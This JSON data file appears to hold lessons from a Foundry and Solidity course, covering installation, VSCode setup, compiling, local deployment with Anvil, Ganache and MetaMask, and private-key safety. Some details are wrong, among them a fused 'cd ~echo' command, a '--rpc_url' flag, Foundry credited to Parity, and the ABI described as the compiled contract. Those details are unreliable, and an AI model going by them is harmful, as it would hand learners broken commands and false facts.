hit the trash can in the top right, it literally 'removes' the terminal. The X button, in contrast, simply hides it.\n\n### Is Foundry Up Not Running?\n\nDon't panic if this command doesn't run. You might have an issue with your path, and you might need to add Foundry to your path. In case you run into this issue, check lesson 6 of the GitHub repo associated with this course. If no debugging tips are available there, feel free to start a discussion on the course's GitHub repo. Before doing so, make sure to check if a similar discussion already exists.\n\nTry typing `forge --version` into your terminal. Have you received an unwelcome output saying `Forge command found`? This implies that you have to rerun the `source` command that Foundry offered during installation.\n\nNote: Most of the time the `bashrc` file gets loaded automatically. However, if this doesn't apply to your setup, the following lines can add the required command to the end of your `Bash profile`. This will ensure that your `bashrc` file loads by default.\n\n```bash\ncd ~echo 'source /home/user/.bashrc' >> ~/.bash_profile\n```\n\n> this depends on your operating system, please check foundry docs to see detailed instructions.\n\n## Wrapping Up\n\nAnd there we have it! Congratulations on installing Foundry and prepping your terminal to work seamlessly with it. Remember, hitting snags during installation is normal, especially if you're new to this. Don't hesitate to engage with the course community via GitHub if you run into issues.\n\n\n\nHere's to many hassle-free coding sessions with Foundry!\n", + "updates": [] + }, + { + "id": "ac591636-d3a2-47be-b1fd-b63e3f30733e", + "number": 6, + "title": "Setup your VSCode", + "slug": "vscode-setup", + "folderName": "6-vscode-setup-ii", + "description": "Comprehensive guide on mastering Visual Studio Code and GitHub Copilot for optimizing programming efficiency and project folder organization.", + "duration": 6, + "videoUrl": "h9_3Ir-8Q0U", + "rawMarkdownUrl": "/routes/foundry/1-foundry-simple-storage/6-vscode-setup-ii/+page.md", + "markdownContent": "---\ntitle: VSCode Setup II\n---\n\n_Follow along the course with this video._\n\n\n\n---\n\n## Mastering Visual Studio Code and GitHub Copilot\n\nAs an ardent coder, mastering your programming environment tools is essential for optimum productivity. Today, our focus lands on Visual Studio Code (Vs code) and a fascinating AI extension – GitHub Copilot. Here's a walkthrough guide on how to optimize these tools effectively.\n\n\n\n## Understanding the Vs code Interface\n\nFirstly, we'll check out some convenient shortcuts and features in Vs code. You might observe me using the `control backtick` command frequently since it quickly toggles terminal visibility. Another shortcut I typically use is `Command J`. This key binding allows a quick toggle for panel visibility — handy when you need to alternate between terminal commands and code writing.\n\nOn the Vs code interface, the Explore button opens up a space where you can create a file. This could be a simple text file or more complex files for your programming language of choice from Python, Java, JavaScript, Solidity, and more.\n\n\n\n### Note on Saving Files\n\nEach open and unsaved file is marked with a small white dot on the tab. Not having your file saved could cause unexpected behavior when you run your code. Therefore, always remember to save your edits with `Command s` (Mac) or `Control s` (Windows and Linux). This key shortcut makes the white dot disappear, indicating your file is saved.\n\nHere's a fun fact: you have the unsaved and saved markers to remind you of your file's state. Ensure to establish a routine of hitting `Command s` after each significant edit to your code – it saves you a lot of time, trust me!\n\nShould you need to delete the file, a simple right click on it and selecting `Delete` gets the job done promptly.\n\n## Adding AI Capabilities with GitHub Copilot\n\nOn the discussion of Vs code features, it's incredible how AI integration in Vs code can significantly improve your coding efficiency. When you click on the Extensions button (it looks like a box), you'll find a search box to install different extensions.\n\nFor AI use, you may want to consider using GitHub Copilot. Although it's a premium service, its intuitive AI-powered code autocomplete feature could be a game-changer for you. Of course, you can choose to go with other AI extensions based on your preferences.\n\nOnce you have installed the [GitHub Copilot extension](https://marketplace.visualstudio.com/items?itemName=GitHub.copilot), you will need to sign in to your GitHub account to activate it on Vs code. Having this set will introduce a flyout on the right that auto-generates code suggestions as you type.\n\n\n\nAs you code, GitHub Copilot offers code suggestions which you can auto-fill by hitting tab. The AI can alternatively present you multiple code solutions if you hit the up and enter keys. You can then select the most suitable option from the code suggestions list.\n\nOn a side note, if you're more conscious about sending data (_telemetry_) to Microsoft through Vs code, you can consider using [VSCodium](https://vscodium.com/). It's an open-sourced version of Vs code that does not send telemetry data to Microsoft.\n\nAlso, if you love the GitHub Copilot, you might want to check out [GitHub Copilot Labs](https://copilot.github.com/) as well. It features the AI's experimental features, which might be worth exploring.\n\n## Setting up a Project Folder\n\nTo set up a new directory for your coding projects, open the terminal and type `mkdir MyProjectFolderName`, then navigate to it with `cd MyProjectFolderName`. Note that you can use tab completion for the folder name.\n\nThe command helps you quickly create and move into a folder where you can store all your repositories.\n\n```bash\n mkdir FoundryF23\n cd FoundryF23\n```\n\nAnother cool trick is typing the first few characters of your commands or filenames within your terminal and hitting tab to autocomplete. Get better at identifying which commands or filenames can be autocompleted with practice.\n\nSo, moving forward:\n\n\n\n## Summing Up\n\nUnderutilizing your development environment tools could be costing you precious coding time. It's why I've shared how you can quickly explore files, edit and save files, use shortcuts, and add AI capabilities using GitHub Copilot on Visual Studio Code.Proper utilization of these features is very critical to enhancing your coding experience and productivity.\n\nRemember, in modern-day coding, AI capabilities can be an invaluable resource. Hence, as we move forward, keeping our repositories organized in a single folder will be an enormous boost to efficiently managing our multiple coding projects. Additionally, it makes it easy to reference our projects. Happy coding!\n", + "updates": [] + }, + { + "id": "55d7a32c-4040-47d0-81d5-9ca08b816ddf", + "number": 7, + "title": "Create a new Foundry project", + "slug": "create-new-foundry-setup", + "folderName": "7-foundry-setup", + "description": "Step-by-step instructions on creating a new simple storage project using Foundry, including project folder setup, terminal tips, and initial project structure.", + "duration": 8, + "videoUrl": "v6Srr9C1HRQ", + "rawMarkdownUrl": "/routes/foundry/1-foundry-simple-storage/7-foundry-setup/+page.md", + "markdownContent": "---\ntitle: Foundry Setup\n---\n\n_Follow along the course with this video._\n\n\n\n---\n\n## Creating a Simple Storage Project\n\nToday, we'll dive into setting up a simple storage project, but with a twist, we'll be doing this in a professional environment, following the industry's big protocols as exemplified by billion-dollar players like uniswap, Aave, and curve.\n\nA key factor that makes this worth your while is that we'll be using Foundry - a popular tool among auditors - making this a goldmine for budding security researchers. So brace up as we journey into the masterclass prepared with the same toolbox that industry champions rely upon!\n\n## Getting Started: Setting up The Project\n\nIn setting up your environment, you would need to create a new folder. Simply follow these commands:\n\n```bash\n mkdir foundry-simple-storage-f23\n cd foundry-simple-storage-f23\n```\n\nYou might observe some differences in our terminal windows, reflecting our unique paths. For this tutorial, an alias, `video_shell`, which only displays the folder path, will be used.\n\n\n\n)Still within the folder, typing in `code` followed by a period  (`.`) should lead to a new Visual Studio code. If this doesn't happen, simply navigate to `File` >> `Open Folder` and select your preferred folder, the selected folder will open in a new Visual Studio code.\n\nNow, your terminal should show that we are indeed in our project folder:\n\n\n\n## Terminal Tips and Tricks\n\nEveryone's terminal will look slightly different. For this post, we'll be using several Bash (Linux Terminal) commands like `mkdir` and `cd`. If you're unfamiliar with these, I highly recommend checking out [this freeCodeCamp lesson](https://www.youtube.com/watch?v=oxuRxtrO2Ag).\n\nAlternatively, you could harness the power of Artificial Intelligence (AI). AI chatbots like GPT and others are familiar with Bash and Linux commands. They can provide assistance when you encounter challenges.\n\n\n\n## Setting Up Local Environments\n\nMoving to the next phase, we'll set up our local environments. This is similar to working with Remix VM. Consistent with the project's title, we'll use `Foundry` to code our simple storage project. This will make our code interactions and deployments more professional.\n\nWe begin by checking the content of our Explorer side bar. You can create a file here by using the `touch` command. This will make the file appear on the left hand side of the explorer. Next, we delete unneeded files with the `rm` command.\n\n## Using Foundry for Project Initialization\n\nWe will start the project by using Foundry to create a new basic project. Foundry's documentation offers a step-by-step guide on creating a new project. However, in our case, we run `forge init`. This should create several folders.\n\nIn case an error pops up because the directory is not empty, we run `forge init --force.` to override this.\n\n```bash\nforge init --force.\n```\n\nThis will override any error related to Git. Be sure to configure your username and email if you encounter errors related to Git configuration.\n\n```bash\n git config --global user.email \"your_email\"\n git config --global user.name \"your_username\"\n forge init\n```\n\n## Walk-through of Initialized Folders\n\nOur folders are now full and we have an initial project ready! The folders include:\n\n1. `.gitHub` workflows file\n2. `lib`\n3. `.script` - contains a file we delete for now\n4. `src` - where we put our smart contracts\n5. `test` - not needed for now\n6. `.gitignore` - files not meant for GitHub\n7. `foundry.toml` - gives configuration parameters for Foundry\n\nThe Source (src) is the main directory that we'll focus on. It's where we'll store the main contracts, whereas Test will hold the files to test the main contracts, and Script will host files to interact with our SRC contracts.\n\nLastly, we'll add a simple storage code into the SRC or Source folder. We can copy all the code from this [Github repository](https://github.com/Cyfrin/foundry-simple-storage-f23/blob/main/src/SimpleStorage.sol), select the code base, then paste it into `src` as `SimpleStorage.sol` file. Hit save, and we're done!\n\nCongratulations, you're now ready to build bigger and better with Foundry! Stay tuned for more exciting tutorials.\n", + "updates": [] + }, + { + "id": "ae54a24e-9fce-457f-af4d-b68b7fb6716b", + "number": 8, + "title": "VSCode Solidity setup", + "slug": "vscode-solidity-setup", + "folderName": "8-formatting-solidity", + "description": "Tutorial on formatting Solidity code in Visual Studio Code using various extensions and settings, and tips for automatic code formatting and TOML file formatting.", + "duration": 5, + "videoUrl": "8l55rHHpta0", + "rawMarkdownUrl": "/routes/foundry/1-foundry-simple-storage/8-formatting-solidity/+page.md", + "markdownContent": "---\ntitle: Formatting Solidity in VS Code\n---\n\n_Follow along the course with this video._\n\n\n\n---\n\n# **Improving Code Format in Visual Studio Code**\n\nIn this blog post, we're going to explore how to greatly improve the readability and maintainability of your smart contracts by cleaning up your Solidity code format within Microsoft's Visual Studio Code (VSCode). Let's get started!\n\n\n\n## **Solidity Code Formatting**\n\nWhen you first start, your code might just look like a whole bunch of dull, lifeless, white text. While some cool trinkets are embedded in the code such as the oftentimes cute little ETH logo, deciphering your code becomes a real chore without proper formatting.\n\nLucky for us, there are many wonderful extensions available on VSCode that can format our Solidity code. Simply input \"Solidity\" in the Extensions bar to reveal a treasure trove of options. Out of these, a few worth mentioning:\n\n1. The general \"Solidity\" extension\n2. [Hardhat Solidity](https://marketplace.visualstudio.com/items?itemName=NomicFoundation.hardhat-solidity), a personal favorite, despite being another framework, works wonders in Foundry\n3. Solidity visual developer, another popular choice\n4. And Juan Blanco's [extension](https://marketplace.visualstudio.com/items?itemName=JuanBlanco.solidity), which is probably the most used Solidity extension worldwide\n\nFor this blog, we'll demo the [nomic foundation Solidity Vs code extension](https://marketplace.visualstudio.com/items?itemName=NomicFoundation.hardhat-solidity). Once this extension is installed, your Solidity files should now appear with syntax highlighting, making it vast easier to read and understand.\n\n### **Activating the Extension**\n\nIf the code remains unhighlighted despite having installed the extension, there's a quick solution to that. Press `Command Shift P`, or `Control Shift P` on Windows. This opens up the command bar.\n\nIn the command bar, type in \"Settings\" and select \"Preferences: Open User Settings\". This will open your user settings in JSON format. If you have nothing in there, create a new setting with these brackets `{'{'}...{'}'}` and type in:\n\n```json\n{\n \"editor.defaultFormatter\": \"NomicFoundation.hardhat\"\n}\n```\n\n..and you're all set! This way every time you open your Solidity code, VSCode will automatically use Hardhat extension for formatting.\n\n## **Formatting TOML Files With Better TOML**\n\nThe good news doesn’t end with Solidity files alone. Even your Foundry TOML files can be formatted for better readability. Again, head over to Extensions and type in TOML.\n\nInstall [Even Better TOML](https://marketplace.visualstudio.com/items?itemName=tamasfe.even-better-toml). This cool extension appropriately highlights your Foundry TOML files, making it much easier to locate and edit keys.\n\n**Pro Tip:** Any time a little dot appears next to the file name on your tab, it means the changes aren’t saved. Make it a habit to frequently save your work with Command S or File -> Save.\n\n## **Automatic Code Formatting**\n\nA great feature of text editors is the ability to format your code automatically. Let's say you have a block of code that's entirely out of whack. You can set your VSCode to automatically format the block once you save it. Here’s how.\n\nRepeating the Command Shift P step brings up the command palette. If you type in 'format document', it will instantly apply the default formatter to the open file. If the auto formatter does nothing, first ensure you've set Hardhat as your default formatter in your settings file.\n\nFor those who prefer automatic formatting, navigate to User Settings and check 'Editor: Format On Save'. This way, every time you save your Solidity code, it automatically gets formatted.\n\nFor cases where you might not want your document formatted, all you have to do is open the command palette (Command Shift p/View -> Command Palette) and type 'save without formatting'. This will save the file without applying any formatting rules. However, remember to turn back on formatting when done.\n\n\n\nIn conclusion, formatting is something we pretty much never want to skip. Even though it might seem inconsequential, a well-formatted code can save a lot of debugging time and make your code way more maintainable and understandable. So start using these principles today and write smarter contracts! Happy hacking!\n", + "updates": [] + }, + { + "id": "e1a7e1f7-508a-440c-b39b-7bcbf0c54e07", + "number": 9, + "title": "Compile a smart contract using Foundry", + "slug": "compiling-a-smart-contract-foundry", + "folderName": "9-compiling-in-foundry", + "description": "Guide to compiling Solidity smart contracts using Foundry, including steps for using the Foundry console, understanding the 'out' file, and terminal command recall.", + "duration": 2, + "videoUrl": "9UYIyBdW1Do", + "rawMarkdownUrl": "/routes/foundry/1-foundry-simple-storage/9-compiling-in-foundry/+page.md", + "markdownContent": "---\ntitle: Compiling in Foundry\n---\n\n_Follow along the course with this video._\n\n\n\n---\n\n# Compiling Smart Contracts: A Guide to the Foundry Console Compilation Process\n\nIn this detailed guide, we'll walk you through the intricate process of compiling Solidity smart contracts using the Foundry console, courtesy of Parity. By the end of this blog post, you'll successfully compile a `SimpleStorage.sol` contract within your terminal.\n\n## Getting Started: The Foundry Console\n\nLet's kick things off starting with the installation of the Foundry console. Foundry is an incredibly essential tool that we'll be using to collate our background, so ensure it has been installed correctly on your system to avoid any hitches.\n\nHere's a gentle reminder, just with your existing code and Foundry installed, you're already set to begin the intriguing journey into compiling your `SimpleStorage.sol` smart contract right in your terminal!\n\n## How to Compile Your Code\n\nAfter correctly setting up Foundry, pull up your terminal. In the terminal, key in either `forge build` or `forge compile`. Running either command will immediately trigger the compilation of your code, like so:\n\n```bash\n$ forge build\n```\n\nOr\n\n```bash\n$ forge compile\n```\n\n\n\nLook out for a notable change - the appearance of several new folders. One of them is a file named `out`.\n\n## Understanding the `out` File\n\nQuite noticeable when you compile is the `out` file. To put it simply, the `out` file holds a trove of crucial information similar to what the Remix compiler offers.\n\nIt is within this `out` file that you have access to the `Abi`. For those who haven't encountered it, you're probably wondering what `Abi` is. In the context of this guide, `Abi` refers to the compiled version of your contract. To locate it, navigate your way back to Remix, select the compiler tab, locate one of your written contracts and scroll down.\n\n\n\nIn the Abi section, you'll notice a small dropdown icon placed directly beside it. A simple click on this dropdown button will minimize the Abi, prominently displaying all other details such as bytecode method Identifiers and other sub-sections that we'll delve into later in this guide.\n\n## The `cache` Folder Defined\n\nAnother file that appears upon compilation is the `cache` folder. Generally, this folder is used to basically store temporary system files facilitating the compilation process. But for this guide, you can virtually ignore it.\n\n## Recalling Previously-Run Commands\n\nHere's a productivity-boosting feature in your terminal: the ability to recall and rerun use previously executed commands. The action is simple - just press the up arrow key. This feature proves handy when you need to rerun lengthy commands which previously executed correctly, saving you both time and energy.\n\nFor instance, suppose you've run a long command like `echo`, which is a classic Unix command, and decide to rerun it. All you need to do is press the up arrow key:\n\n```bash\n$ echo \"This is some crazy long command\"\n```\n\n\n\nBy following these steps, you should now have a head start in compiling your Solidity smart contracts. Congratulations on adding a new skill to your programming arsenal! Enjoy your development journey!\n", + "updates": [] + }, + { + "id": "46f0d83a-62be-4095-a9e5-d91c37ef111e", + "number": 10, + "title": "Deploy a smart contract locally using Ganache", + "slug": "deploy-smart-contract-locally", + "folderName": "10-deploying-locally", + "description": "Guide on deploying smart contracts locally using Ganache and Foundry's Anvil, including setting up Ganache, using MetaMask for custom networks, and integrating Anvil.", + "duration": 8, + "videoUrl": "IK2irq6_2fw", + "rawMarkdownUrl": "/routes/foundry/1-foundry-simple-storage/10-deploying-locally/+page.md", + "markdownContent": "---\ntitle: Deploying to a Local Blockchain\n---\n\n_Follow along the course with this video._\n\n\n\n---\n\n## Deploying Code to a Virtual Environment with Foundry and Anvil\n\nIn this lesson, we'll explore how you can deploy your code to a Foundry VM or a JavaScript virtual environment using Foundry, Anvil, and the Ganache Ethereum chain.\n\n## Foundry and Anvil: Built-In Virtual Environment\n\nFoundry comes built-in with a virtual environment in its shell, similar to **Remix**, the integrated development environment (IDE) best known for smart contract development and deployment. Inside the virtual environment of foundry, we use **Anvil** to create a fake available accounts, fully equipped with **fake private keys**, a wallet mnemonic, blockchain details, and an RPC URL, which we'll discuss later.\n\nHere's how to launch the Anvil blockchain:\n\n```bash\nanvil\n```\n\nTo end the session, you can press Ctrl+C or close your terminal.\n\n## Deploying with Ganache\n\nGanache is a one-click blockchain. It offers a user interface that gives developers easier access to their transactions.\n\n\n\nAfter installing Ganache, you can create a new locally running blockchain by hitting 'Quickstart for Ethereum'. This will generate a list of addresses with individual balances, and dummy private keys.\n\nHere's a glimpse of how Ganache looks:\n\n\n\nThe Ganache blockchain is temporary; if it's causing any issues, you can always switch back to Anvil.\n\n\n\n## Deploying to Custom Networks with MetaMask\n\nTo deploy to a custom network (like your localhost), you'll need MetaMask. MetaMask is a browser extension that allows you to run Ethereum dApps (decentralized apps) right in your browser.\n\nFollow these steps:\n\n1. Open MetaMask.\n2. Click the three little dots, select 'Expand View'.\n3. Go to 'Settings', then 'Networks'.\n4. Here, you'll see the list of networks (Ethereum, Mainnet, etc.) with plenty of details about each one. Locate the RPC URL - this is key.\n\nThe RPC URL is essentially the endpoint we make API calls to when sending transactions. For every blockchain transaction you execute, you're making an API to whatever is in here.\n\nTo send a transaction to your custom blockchain, you need to add it as a network:\n\n1. Scroll to the bottom of the list of networks.\n2. Hit 'Add Network'.\n3. Enter the details of your local network - the name, RPC URL (you can get this from Ganache or Anvil), chain ID, etc.\n\n\n\n4. Save your new network.\n\nOnce your network is added, you should be able to switch to it from the dropdown menu. From here, you can import an account by pasting its private key and hitting 'Import'.\n\nAnd voila! You now know how to deploy code to a virtual environment with Foundry, Anvil, Ganache and MetaMask. Happy coding!\n", + "updates": [] + }, + { + "id": "d147ac70-b450-43ae-b1a2-4a0a2a7b5508", + "number": 11, + "title": "How to add a new network to Metamask", + "slug": "how-to-add-a-new-network-to-metamask", + "folderName": "11-adding-network-metamask", + "description": "Tutorial on adding new Ganache local chains and EVM compatible chains to MetaMask, including managing private keys and understanding RPC URLs.", + "duration": 2, + "videoUrl": "oYBRneM_Oes", + "rawMarkdownUrl": "/routes/foundry/1-foundry-simple-storage/11-adding-network-metamask/+page.md", + "markdownContent": "---\ntitle: Adding another Network to MetaMask\n---\n\n_Follow along the course with this video._\n\n\n\n---\n\n## Adding New Ganache Local Chains and Other EVM Compatible Chains\n\nIn this blog post, we delve deep into the world of EVM (Ethereum Virtual Machine) chains. We explore how to add new Ganache local chains and the process of incorporating any EVM compatible chain in the network. Plus, we sprinkle in an introduction on running your own Ethereum nodes. Ready to dive in?\n\n\n\n## Adding New Networks Using MetaMask\n\nConveniently, MetaMask, a browser extension serving as an Ethereum wallet, provides an easy way to add EVM compatible chains. By pre-configuring a host of them, you can add a chain such as the Arbitram One by simply clicking on **Add Network** and proceeding to **Add**. The pleasing part is that MetaMask does all the grunt work, filling in all the necessary information for you. A click on **Approve Network** ensures successful addition of the network.\n\n```js\n 1. Click on Add Network\n 2. Choose your desired EVM compatible chain\n 3. Click on Add\n 4. After ensuring all necessary information is already filled in, click on Approve Network\n```\n\nHowever, what if MetaMask isn't pre-equipped with a chain you wish to add? Well, no need to worry. You would employ the same process we just used to add our new Ganache local chain. This process universally applies to the addition of any EVM compatible chain.\n\n## Understanding Your Connection to a Node: The Role of Endpoint\n\nHeading back to your network settings and selecting the localhost network unveils another crucial aspect- the endpoint. When you set out to send a transaction to a blockchain, you must have a connection to a node. This node connection is vital as it equips you with the ability to send transactions.\n\nLet's say you coveted the thrill of sending transactions to your own node. The process would entail running an execution client like Geth, followed by a consensus client such as Teku or Prism, and finally send your transactions.\n\n\n\nCertainly, running your own Ethereum nodes may seem daunting. However, for a blockchain enthusiast, it can be a fun adventure worth exploring. As a pro tip, run multiple Ethereum nodes for an even better experience.\n\n## Interacting with Ethereum Blockchain Nodes: Different Methods\n\n\n\nVenturing further into the realm of Ethereum, we find that different methods exist for dispatching transactions. Ethereum JSON RPC specification site provides a rundown of these various methods. You just need to be acquainted with APIs and Http endpoints and you’re good to go.\n\nWhen signing and dispatching transactions, it's these method calls that come into play: ETH sign transaction, send transaction, send raw transaction, etc.\n\nHowever, let's make an important clarification. The Forge comes with a built-in facility that manages sending these transactions. So, we don't necessarily have to go the extra mile of direct interaction with these calls.\n\n## Sending Raw Transactions: Different Programming Languages\n\nMoving forward, to learn how to send raw transactions, you would need to make raw API calls to your Ethereum node. This can either be an Ethereum node you provided or an Ethereum node as a service, such as Infura or Alchemy. This interaction would employ different programming languages such as Bash, Python, or JavaScript.\n\nFurther exploration into the complex yet captivating world of Ethereum awaits. Running your own Ethereum nodes and understanding the intricacies of sending transactions brings a whole new level to your blockchain explorations. We hope this guide kindles your curiosity to delve further and cherish the fun of running nodes!\n\nStay tuned for more such excitement in our next lesson!\n", + "updates": [] + }, + { + "id": "20ac66c6-015c-4c7a-a2b6-1d98cf01b686", + "number": 12, + "title": "Deploy a smart contract locally using Forge", + "slug": "deploying-locally-forge-foundry", + "folderName": "12-deploying-locally-ii", + "description": "Comprehensive guide on deploying smart contracts locally using Forge in Foundry, detailing command line usage, potential issues, and deployment steps.", + "duration": 5, + "videoUrl": "U-9vmmu-JFk", + "rawMarkdownUrl": "/routes/foundry/1-foundry-simple-storage/12-deploying-locally-ii/+page.md", + "markdownContent": "---\ntitle: Deploying to a Local Blockchain II\n---\n\n_Follow along with this video._\n\n\n\n---\n\n## Deploying a Smart Contract on your Local Blockchain\n\nAre you tired of running into issues deploying your smart contract on your local blockchain? Whether you're using Ganache or Anvil for your blockchain development, we've got you covered. In this comprehensive guide, we're going to walk you through how to deploy contracts in two different ways, using the command line and the integrated Forge framework.\n\n\n\n## The fundamentals: Your endpoint and private key\n\nSince you already have your endpoint and private key, you now have everything you need to deploy to your own local blockchain. However, just like working with a real blockchain, you need some balance to spend gas to deploy your contract.\n\n## Getting started with the Command Line\n\nTo kick things off, let's dive into the command line approach. This involves familiarizing with the Forge framework.\n\n```bash\nforge help\n```\n\nRunning the command above provides a list of commands built into the Forge. For our cause, we are interested in the 'Create' command. Its function is to deploy a smart contract- exactly what we are looking to do.\n\n```bash\nforge create --help\n```\n\nRunning the command above shows the numerous options available for deploying our contract. Be sure to have your private key ready, which you can copy from Anvil.\n\n**NOTE:** Please refrain from using actual private keys in Vs code or any platform that could potentially share your information unintentionally. Although we're using a fake private key for this exercise, the best practice is to use your terminal.\n\n## Unraveling Potential Issues\n\nWhile trying to deploy our contract - 'Simple Storage' in this case - there is a possibility of running into an error when using the command:\n\n```bash\nforge create SimpleStorage\n```\n\nThe error is due to the fact that the RPC server we are using doesn't coincide with the default Forge RPC server. To fix this, you need to assign the RPC URL manually and ensure it is in lowercase.\n\nIf you forget to input the private key, the command line will remind you with another error! No worries though, just use the 'Up' key and include the 'interactive' option as seen in the command below. Then, follow the prompt to enter your private key.\n\n```bash\nforge create SimpleStorage --rpc_url http://127.0.0.1:7545 --interactive\n```\n\n_Note:_ the URL is the one from ganache.\n\n\n\nYou should now see your transaction details if you're using Ganache. The transaction and blocks you created beforehand should be visible.\n\n_Blockquote: \"Despite Anvil not showing any transaction details, it serves as a more efficient platform for this procedure. Hence, we will be using it for the rest of this guide.\"_\n\n## Conclusion\n\nThat's it! You've now deployed a smart contract to your local blockchain. Take note that this process may require some tweaking depending on your specific environment or contract. Overall, by following these steps, you will have a robust foundation for deploying more complex smart contracts in your future blockchain projects.\n", + "updates": [] + }, + { + "id": "4ca84002-b8be-41ed-9a09-12f9e0e0ebcf", + "number": 13, + "title": "Important: private key safety pt.1", + "slug": "private-key-safety", + "folderName": "13-private-key-safety", + "description": "In-depth guide on private key safety for blockchain developers, covering best practices, shell history clearing, and secure methods for handling private keys.", + "duration": 3, + "videoUrl": "7ILrx8KiTUQ", + "rawMarkdownUrl": "/routes/foundry/1-foundry-simple-storage/13-private-key-safety/+page.md", + "markdownContent": "---\ntitle: Private Key Safety\n---\n\n_Follow along the course with this video._\n\n\n\n---\n\n# Practicing Private Key Safety: A Comprehensive Guide\n\nThe following lesson will take you through the intricacies and dangers of mishandling your Private Key, while also highlighting the key steps you should take to maintain its safety.\n\n## The Importance of Private Key Safety\n\nNow, here's an incredibly important piece of information and one worth your attention:\n\n\n\nThis goes especially for your production or private keys associated with actual money. This is a serious security risk and a transgression we cannot afford to make. Even though the example presented here involves a dummy private key, this is a practice we should generally steer clear from.\n\n\n\nOne common oversight lies not in how we treat our private keys, but rather in where we tend to leave them – our shell or Bash history. Here's an example to illustrate the point: once you execute commands in your terminal, a simple upward stroke on your arrow keys will display the previously carried out commands – including your private keys. It is easy to see why this fact poses a risk to private key safety.\n\n## Clearing Your Shell History\n\nTo remove your private key from your history in Bash, execute the following command:\n\n```bash\nhistory -c\n```\n\nThis effectively clears your command history. Try hitting the 'up' arrow on your keyboard - you will not return any previously entered commands. To further test this, you can use the `history` keyword:\n\n```bash\nhistory\n```\n\nThis command will return your entire command history. You can also use the `clear` command to clear your screen and then call `history` again to verify you've purged your command history as desired.\n\n## Your Safety Promise\n\nIt's time now to articulate your promise for maintaining private key safety. Create a file titled 'Promise.md'. In this file, make it a point to write down your promise:\n\n```\nI promise to never use my private key associated with real money in plain text.\n```\n\nIf you feel comfortable doing so, consider tweeting this to affirm and secure your pledge. Tagging me or other experts in the field to hold yourself accountable can be immensely helpful. Remember, this is merely a first step in your commitments towards private key safety - many more promises are to come.\n\nAs we're working with dummy keys for now, this may not seem like a big deal. But I assure you that the safety of your private keys in the future is of utmost importance. I’ve seen multiple multimillion-dollar companies overlook this protocol and, as a result, have their private keys breached.\n\n## Deploying Your Contracts\n\nTo deploy your contracts to any blockchain from a command line, you would generally use the `forge` command as shown below:\n\n```bash\nforge create < name-of-your-contract > add < RPC-URL > < your-private-key >\n```\n\nIn upcoming sections, we will learn how to access RPC URLs for free using Alchemy for any blockchain. We will also delve into exploring safer methodologies for dealing with private keys.\n\nWith this you now have a preliminary understanding of how to deploy your contracts to any blockchain from the command line. This knowledge equips you with the base tools to operate in a more secure digital environment, prioritizing private key safety, cleanliness of your bash history and the right way to deploy contracts to the blockchain.\n\nKeep following along for more tips, tricks, and best practices in maintaining your cyber safety.\n", + "updates": [] + }, + { + "id": "5067bfa3-74e2-4129-9135-227e19a335ee", + "number": 14, + "title": "Deploy a smart contract locally using Anvil", + "slug": "deploying-locally-anvil", + "folderName": "14-deploying-locally-iii", + "description": "Tutorial on deploying smart contracts locally using Anvil, focusing on script creation, Solidity contract language, and Foundry cheat codes for deployment.", + "duration": 10, + "videoUrl": "-PMG_wlBxfY", + "rawMarkdownUrl": "/routes/foundry/1-foundry-simple-storage/14-deploying-locally-iii/+page.md", + "markdownContent": "---\ntitle: Deploying to a Local Blockchain III\n---\n\n_Follow along with this video._\n\n\n\n---\n\n## Deploying Contracts on Any Blockchain with Solidity\n\nAfter familiarizing ourselves on how to deploy a contract to any blockchain using the command line, it's time to engage in another method of deploying our contracts. This method is particularly handy because it provides a consistent and repeatable way to deploy smart contracts reliably and its features enhance the testing of both the deployment processes and the code itself.\n\nContrary to the popular command-line approach, we create a script for our code deployment. This method enriches our learning process and makes the entire session enjoyable.\n\n## The Solidity Contract Language\n\nFoundry eases the whole process since it is written in Solidity. This means our deployment scripts will also be in Solidity. It is essential to distinguish Solidity as a contract language from Solidity as a scripting language. Foundry also incorporates elements that enhance our Solidity experience beyond the smart contracts realm. So, let's get started on creating a script to deploy our simple storage contract.\n\n### Creating the Deployment Script\n\nTo create the script, follow these easy steps:\n\n1. Go to our script folder.\n2. Right-click on a new file.\n3. Create the file deploy `DeploySimpleStorage.s.sol`.\n\nThe letter `S` in `s.sol` is a Foundry custom. Usually, scripts bear an `s.sol` extension instead of sol.\n\nInside it, we are going to write our contract in Solidity to deploy our smart contract.\n\nAnd by the way, this script is written in Solidity but should not be considered as a contract for deployment. It is solely for deploying our code. Since it is written in Solidity, we start with the MIT SPDX License Identifier as usual.\n\nCheck out the Foundry documentation for a comprehensive understanding of Solidity scripting in the tutorials section.\n\nTo notify Foundry that our contract `DeploySimpleStorage.s.sol` is a script, we need to import additional code.\n\nHere is the code sample:\n\n```js\n //SPDX-License-Identifier: MIT\n pragma solidity ^0.8.18;\n contract deploySimpleStorage{}\n```\n\nFounder also has a lib folder which entails the Forge STD. Forge STD stands for Forge Standard Library. The library bears numerous beneficial tools and scripts for working with Foundry.\n\nLet's now make our contract `DeploySimpleStorage.s.sol` inherit from the functionality of this script by importing `forge-std/Script.sol` and stating is script. Foundry will then understand that this contract is a script.\n\nFor clarification, our Deploy Simple Storage requires knowledge of our simple storage contract. Therefore, we'll import that too. We must also bear in mind that there is a superior method to run imports, known as named imports.\n\nNow here is where it gets exciting. Every Deploy or script contract should have a primary function known as Run. This function executes when we need to deploy our contract.\n\nHere is the code snippet:\n\n```js\n function run() external returns (SimpleStorage) {\n vm.startBroadcast();\n\n SimpleStorage simpleStorage = new SimpleStorage();\n\n vm.stopBroadcast();\n return simpleStorage;\n }\n```\n\n### Using Cheat Codes in Foundry\n\nIn the Run function, we are going to use a distinctive keyword: vm. Foundry has a distinctive feature known as cheat codes. The vm keyword is a cheat code in Foundry, and thereby only works in Foundry. You won't have much success trying it out in Remix or any other framework. Though, if we're inheriting Forge STD code, the vm keyword comes in handy.\n\nYou can learn more about Foundry cheat codes in the Foundry documentation and Forge Standard Library references section.\n\nAre you confused about the vm keyword? No worries! The vm keyword is just a tool for controlling the interactions with Forge's local Ethereum testnet. We're using it here to specify that all the activities within the `startBroadcast` and `stopBroadcast` functions should take place on-chain.\n\nWe deploy our simple storage contract via the `new` keyword. Simple Storage, denotes the contract, and simple storage the variable, are quite different.\n\nThe new keyword in Solidity creates a new contract. It is also going to come up with a new contract amid the vm Star broadcasts. Should you find this a bit confusing, don't worry. We shall delve into the details later in the course. For now, remaining focused is the key. And finally, we can say return Simple Storage.\n\n## Testing the Deployment\n\nNow to the exciting part. It's time to test our script by running it. If Forge is already running, we can kill it using the control C command. Now, let's ru:\n\n```bash\nforge script script/DeploySimpleStorage.s.sol\n```\n\nEnsure you adhere to the Solidity standards for smooth 